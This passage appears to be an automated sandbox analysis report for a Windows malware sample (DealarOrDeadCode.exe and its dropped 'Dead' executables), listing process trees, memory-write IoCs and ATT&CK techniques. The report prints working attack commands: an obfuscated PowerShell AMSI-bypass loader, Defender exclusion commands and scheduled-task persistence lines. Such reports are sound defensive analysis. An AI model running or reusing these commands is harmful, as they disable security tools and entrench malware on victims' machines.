1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
3492	Explorer.EXE
1196	taskmgr.exe
3492	Explorer.EXE
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
3492	Explorer.EXE
3492	Explorer.EXE
1196	taskmgr.exe
3492	Explorer.EXE
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe
1196	taskmgr.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1792	DeadROOTkit.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3076 wrote to memory of 1676	3076	DealarOrDeadCode.exe	86
PID 3076 wrote to memory of 1676	3076	DealarOrDeadCode.exe	86
PID 3076 wrote to memory of 1792	3076	DealarOrDeadCode.exe	87
PID 3076 wrote to memory of 1792	3076	DealarOrDeadCode.exe	87
PID 3076 wrote to memory of 3520	3076	DealarOrDeadCode.exe	88
PID 3076 wrote to memory of 3520	3076	DealarOrDeadCode.exe	88
PID 3076 wrote to memory of 3520	3076	DealarOrDeadCode.exe	88
PID 312 wrote to memory of 4856	312	powershell.EXE	91
PID 312 wrote to memory of 4856	312	powershell.EXE	91
PID 312 wrote to memory of 4856	312	powershell.EXE	91
PID 312 wrote to memory of 4856	312	powershell.EXE	91
PID 312 wrote to memory of 4856	312	powershell.EXE	91
PID 312 wrote to memory of 4856	312	powershell.EXE	91
PID 312 wrote to memory of 4856	312	powershell.EXE	91
PID 312 wrote to memory of 4856	312	powershell.EXE	91
PID 4856 wrote to memory of 616	4856	dllhost.exe	5
PID 4856 wrote to memory of 676	4856	dllhost.exe	7
PID 4856 wrote to memory of 956	4856	dllhost.exe	12
PID 4856 wrote to memory of 336	4856	dllhost.exe	13
PID 4856 wrote to memory of 592	4856	dllhost.exe	14
PID 4856 wrote to memory of 756	4856	dllhost.exe	16
PID 4856 wrote to memory of 1136	4856	dllhost.exe	17
PID 4856 wrote to memory of 1144	4856	dllhost.exe	18
PID 4856 wrote to memory of 1152	4856	dllhost.exe	19
PID 4856 wrote to memory of 1160	4856	dllhost.exe	20
PID 4856 wrote to memory of 1244	4856	dllhost.exe	21
PID 4856 wrote to memory of 1296	4856	dllhost.exe	22
PID 4856 wrote to memory of 1340	4856	dllhost.exe	23
PID 4856 wrote to memory of 1460	4856	dllhost.exe	24
PID 4856 wrote to memory of 1468	4856	dllhost.exe	25
PID 4856 wrote to memory of 1608	4856	dllhost.exe	26
PID 4856 wrote to memory of 1616	4856	dllhost.exe	27
PID 4856 wrote to memory of 1652	4856	dllhost.exe	28
PID 4856 wrote to memory of 1736	4856	dllhost.exe	29
PID 4856 wrote to memory of 1768	4856	dllhost.exe	30
PID 4856 wrote to memory of 1784	4856	dllhost.exe	31
PID 4856 wrote to memory of 1840	4856	dllhost.exe	32
PID 4856 wrote to memory of 1948	4856	dllhost.exe	33
PID 4856 wrote to memory of 1956	4856	dllhost.exe	34
PID 4856 wrote to memory of 1964	4856	dllhost.exe	35
PID 4856 wrote to memory of 2036	4856	dllhost.exe	36
PID 4856 wrote to memory of 2068	4856	dllhost.exe	37
PID 4856 wrote to memory of 2076	4856	dllhost.exe	38
PID 4856 wrote to memory of 2200	4856	dllhost.exe	40
PID 676 wrote to memory of 2848	676	lsass.exe	49
PID 4856 wrote to memory of 2236	4856	dllhost.exe	41
PID 4856 wrote to memory of 2528	4856	dllhost.exe	42
PID 4856 wrote to memory of 2536	4856	dllhost.exe	43
PID 4856 wrote to memory of 2636	4856	dllhost.exe	44
PID 4856 wrote to memory of 2676	4856	dllhost.exe	45
PID 4856 wrote to memory of 2784	4856	dllhost.exe	46
PID 4856 wrote to memory of 2800	4856	dllhost.exe	47
PID 4856 wrote to memory of 2828	4856	dllhost.exe	48
PID 4856 wrote to memory of 2848	4856	dllhost.exe	49
PID 4856 wrote to memory of 2876	4856	dllhost.exe	50
PID 4856 wrote to memory of 2884	4856	dllhost.exe	51
PID 4856 wrote to memory of 2900	4856	dllhost.exe	52
PID 4856 wrote to memory of 3200	4856	dllhost.exe	54
PID 4856 wrote to memory of 3492	4856	dllhost.exe	55
PID 4856 wrote to memory of 3512	4856	dllhost.exe	56
PID 4856 wrote to memory of 3676	4856	dllhost.exe	57
PID 4856 wrote to memory of 3868	4856	dllhost.exe	58
PID 4856 wrote to memory of 4076	4856	dllhost.exe	60
PID 4856 wrote to memory of 4140	4856	dllhost.exe	62

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:336
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{3f24eed3-1cb0-4299-ab36-c38725df072f}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4856

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:592

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1136
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:gAxvOuHVPjZR{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$wXXunnGVcUvigc,[Parameter(Position=1)][Type]$KaUEyzOgwC)$DNewEUISJzv=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'ef'+[Char](108)+''+[Char](101)+''+[Char](99)+'t'+'e'+''+[Char](100)+'D'+'e'+''+'l'+'eg'+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+[Char](77)+''+[Char](101)+''+[Char](109)+''+'o'+'r'+[Char](121)+''+[Char](77)+''+'o'+''+'d'+'u'+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+'e'+''+[Char](108)+''+[Char](101)+'g'+'a'+''+'t'+''+[Char](101)+''+'T'+'y'+[Char](112)+'e','C'+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+'u'+''+[Char](98)+'l'+[Char](105)+'c'+[Char](44)+''+'S'+''+'e'+''+[Char](97)+''+[Char](108)+''+'e'+''+[Char](100)+',A'+[Char](110)+'s'+[Char](105)+''+'C'+''+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+'u'+''+[Char](116)+'oCl'+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$DNewEUISJzv.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+[Char](112)+'e'+[Char](99)+''+[Char](105)+''+'a'+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+'d'+[Char](101)+'B'+[Char](121)+''+[Char](83)+'ig'+[Char](44)+''+'P'+'u'+[Char](98)+''+[Char](108)+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$wXXunnGVcUvigc).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+'e'+','+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+'d');$DNewEUISJzv.DefineMethod(''+'I'+'n'+'v'+''+[Char](111)+''+[Char](107)+'e',''+'P'+'u'+'b'+''+'l'+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+'d'+[Char](101)+'B'+'y'+'Sig'+[Char](44)+'N'+'e'+''+'w'+'S'+[Char](108)+''+'o'+'t'+','+'Vi'+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+'l',$KaUEyzOgwC,$wXXunnGVcUvigc).SetImplementationFlags(''+[Char](82)+''+'u'+'n'+'t'+'i'+'m'+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $DNewEUISJzv.CreateType();}$vqIHZhYjVXTlD=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+'t'+''+[Char](101)+''+[Char](109)+''+'.'+''+[Char](100)+'l'+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+'r'+'o'+''+'s'+'o'+[Char](102)+''+[Char](116)+'.W'+'i'+''+'n'+''+'3'+''+[Char](50)+'.U'+'n'+''+'s'+''+[Char](97)+'feN'+[Char](97)+''+'t'+''+[Char](105)+''+'v'+'e'+'M'+''+'e'+''+'t'+''+[Char](104)+'od'+[Char](115)+'');$qbPHtdXjBHChqJ=$vqIHZhYjVXTlD.GetMethod('G'+[Char](101)+''+[Char](116)+''+'P'+''+'r'+''+[Char](111)+''+'c'+''+'A'+'d'+'d'+''+'r'+''+[Char](101)+''+[Char](115)+'s',[Reflection.BindingFlags]('P'+'u'+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+','+'S'+[Char](116)+''+[Char](97)+''+[Char](116)+'ic'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$pYakkpAAbMEIptcBewo=gAxvOuHVPjZR @([String])([IntPtr]);$zkRbJFmeOOlwpCnBOqAxko=gAxvOuHVPjZR @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$TYMcNfZWkBo=$vqIHZhYjVXTlD.GetMethod(''+'G'+''+[Char](101)+''+'t'+'M'+[Char](111)+''+[Char](100)+''+[Char](117)+'l'+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'rn'+'e'+'l'+[Char](51)+''+[Char](50)+'.dl'+[Char](108)+'')));$HAPDpRuxRdEIdE=$qbPHtdXjBHChqJ.Invoke($Null,@([Object]$TYMcNfZWkBo,[Object]('L'+[Char](111)+''+'a'+''+'d'+''+[Char](76)+'ibr'+'a'+''+'r'+''+[Char](121)+'A')));$GJUyNjXuIstAESDow=$qbPHtdXjBHChqJ.Invoke($Null,@([Object]$TYMcNfZWkBo,[Object](''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+'P'+[Char](114)+'o'+'t'+'ect')));$CagOKel=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($HAPDpRuxRdEIdE,$pYakkpAAbMEIptcBewo).Invoke(''+[Char](97)+'m'+[Char](115)+'i'+[Char](46)+'d'+[Char](108)+'l');$zysSQWmDUnyMtiniP=$qbPHtdXjBHChqJ.Invoke($Null,@([Object]$CagOKel,[Object](''+'A'+''+[Char](109)+'s'+'i'+'S'+'c'+''+[Char](97)+''+[Char](110)+''+'B'+'uff'+'e'+'r')));$QgRvhCcgoT=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GJUyNjXuIstAESDow,$zkRbJFmeOOlwpCnBOqAxko).Invoke($zysSQWmDUnyMtiniP,[uint32]8,4,[ref]$QgRvhCcgoT);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$zysSQWmDUnyMtiniP,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GJUyNjXuIstAESDow,$zkRbJFmeOOlwpCnBOqAxko).Invoke($zysSQWmDUnyMtiniP,[uint32]8,0x20,[ref]$QgRvhCcgoT);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+'A'+''+[Char](82)+'E').GetValue(''+[Char](68)+''+'e'+''+[Char](97)+''+[Char](100)+''+[Char](115)+''+[Char](116)+''+'a'+''+[Char](103)+'er')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:312
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5036
- C:\Users\Public\Deadsvchost.exe
  C:\Users\Public\Deadsvchost.exe
  2⤵
  - Executes dropped EXE
  PID:4432
- C:\Users\Admin\AppData\Local\DeadROOTkit.exe
  C:\Users\Admin\AppData\Local\DeadROOTkit.exe
  2⤵
  - Executes dropped EXE
  PID:3272
- C:\Users\Public\Deadsvchost.exe
  C:\Users\Public\Deadsvchost.exe
  2⤵
  - Executes dropped EXE
  PID:4304
- C:\Users\Admin\AppData\Local\DeadROOTkit.exe
  C:\Users\Admin\AppData\Local\DeadROOTkit.exe
  2⤵
  - Executes dropped EXE
  PID:4252
- C:\Users\Public\Deadsvchost.exe
  C:\Users\Public\Deadsvchost.exe
  2⤵
  - Executes dropped EXE
  PID:2112
- C:\Users\Admin\AppData\Local\DeadROOTkit.exe
  C:\Users\Admin\AppData\Local\DeadROOTkit.exe
  2⤵
  - Executes dropped EXE
  PID:3560

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1144

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1152

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1296

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1460

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1468
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  - Modifies registry class
  PID:2636

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1608

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1616

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1736

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1768

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1784

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1840

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1956

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1964

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2036

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2068

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2076

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2200

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2236

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2528

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2784

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2828

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2848

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2884

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2900

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3200

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3492
- C:\Users\Admin\AppData\Local\Temp\DealarOrDeadCode.exe
  "C:\Users\Admin\AppData\Local\Temp\DealarOrDeadCode.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:3076
- - C:\Users\Public\DeadXClient.exe
    "C:\Users\Public\DeadXClient.exe"
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of AdjustPrivilegeToken
    PID:1676
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Deadsvchost" /tr "C:\Users\Public\Deadsvchost.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5000
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:3580
- - C:\Users\Public\DeadROOTkit.exe
    "C:\Users\Public\DeadROOTkit.exe"
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:1792
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\DeadROOTkit.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:916
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2104
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'DeadROOTkit.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2756
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:2988
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\DeadROOTkit.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2112
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:1392
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "DeadROOTkit" /tr "C:\Users\Admin\AppData\Local\DeadROOTkit.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3280
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:704
- - C:\Users\Public\DeadCodeRootKit.exe
    "C:\Users\Public\DeadCodeRootKit.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3520
- C:\Windows\system32\taskmgr.exe
  "C:\Windows\system32\taskmgr.exe" /4
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:1196

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3676

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3868

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4076

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4140

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:1992

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:3532

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:556

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4460

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:2772

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:1044

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Modifies data under HKEY_USERS
PID:3060

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:980

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:3276

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3256

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 076dbf51a6aa9720a8e836c9c38d0e92 fu/plXHsP0KbbI14/tbdvg.0.1.0.0.0
1⤵
- Sets service image path in registry
PID:4536
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:1036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:3652

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:4992

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:5064

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
- Drops file in Windows directory
PID:876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:2408

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:5080

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:1216

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery